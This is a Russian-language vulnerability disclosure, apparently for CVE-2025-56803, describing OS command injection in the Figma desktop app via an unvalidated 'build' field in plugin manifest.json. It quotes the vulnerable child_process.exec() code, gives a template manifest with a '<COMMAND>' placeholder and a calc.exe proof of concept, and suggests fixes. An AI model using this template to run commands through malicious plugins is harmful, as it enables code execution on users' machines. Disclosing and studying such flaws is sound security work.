yosasasutsut/cve-2025-56803Уязвимость внедрения команд ОС через выполнение плагинов в десктопном приложении Figma
В настольном приложении Figma (v125.6.5) обнаружена уязвимость внедрения команд в загрузчике плагинов.
Вредоносный манифест плагина (manifest.json) может использовать поле build, которое напрямую передаётся в child_process.exec() без проверки.
Это позволяет выполнять произвольные команды ОС сразу после загрузки плагина, без предупреждений безопасности или запросов подтверждения.
Уязвимость возникает из кода, расположенного в main.js, который импортирует встроенный модуль Node.js child_process:
Zlt = require("child_process")
Далее, если в файле manifest.json плагина присутствует поле build и его значение является строкой, приложение выполняет это значение напрямую с помощью child_process.exec() без какой-либо санитизации или проверки:
if (
s.build &&
typeof s.build === "string" &&
(l.path = process.env.PATH || "",
await new Promise((g) => {
(0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
l.stdout = I;
l.stderr = P;
y && (l.buildErrCode = y.code);
g();
});
}),
l.buildErrCode
)
return l;
В результате следующий файл manifest.json, содержащийся в вредоносном плагине, приводит к выполнению значения поля build как команды ОС:
{
"name": "<NAME>",
"id": "<ID>",
"api": "1.0.0",
"main": "code.js",
"build": "<COMMAND>",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
Этот поток выполнения встроен в логику обработки плагинов Figma, а наличие вызова require("child_process") в main.js подтверждает, что выполнение команд встроено непосредственно в основную логику приложения.
При запуске плагина, содержащего следующий вредоносный manifest.json:
{
"name": "poc",
"id": "1535549154235958412",
"api": "1.0.0",
"main": "code.js",
"build": "calc.exe",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
После регистрации этого плагина в Figma и его выполнения указанная команда ОС (calc.exe) запускается немедленно.
https://github.com/user-attachments/assets/48e0a47a-0d1c-4a92-b9ff-33e9559fd5e7
Хотя выполнение поля build является официально поддерживаемой функцией в настольном приложении Figma, приложению следует избегать использования полей, управляемых пользователем, в manifest.json, таких как build, везде, где это возможно.
Если такие поля должны поддерживаться, они должны проходить строгую проверку ввода для предотвращения внедрения команд.
Кроме того, следует избегать использования child_process.exec() из Node.js и вместо него применять более безопасные альтернативы с явной обработкой аргументов.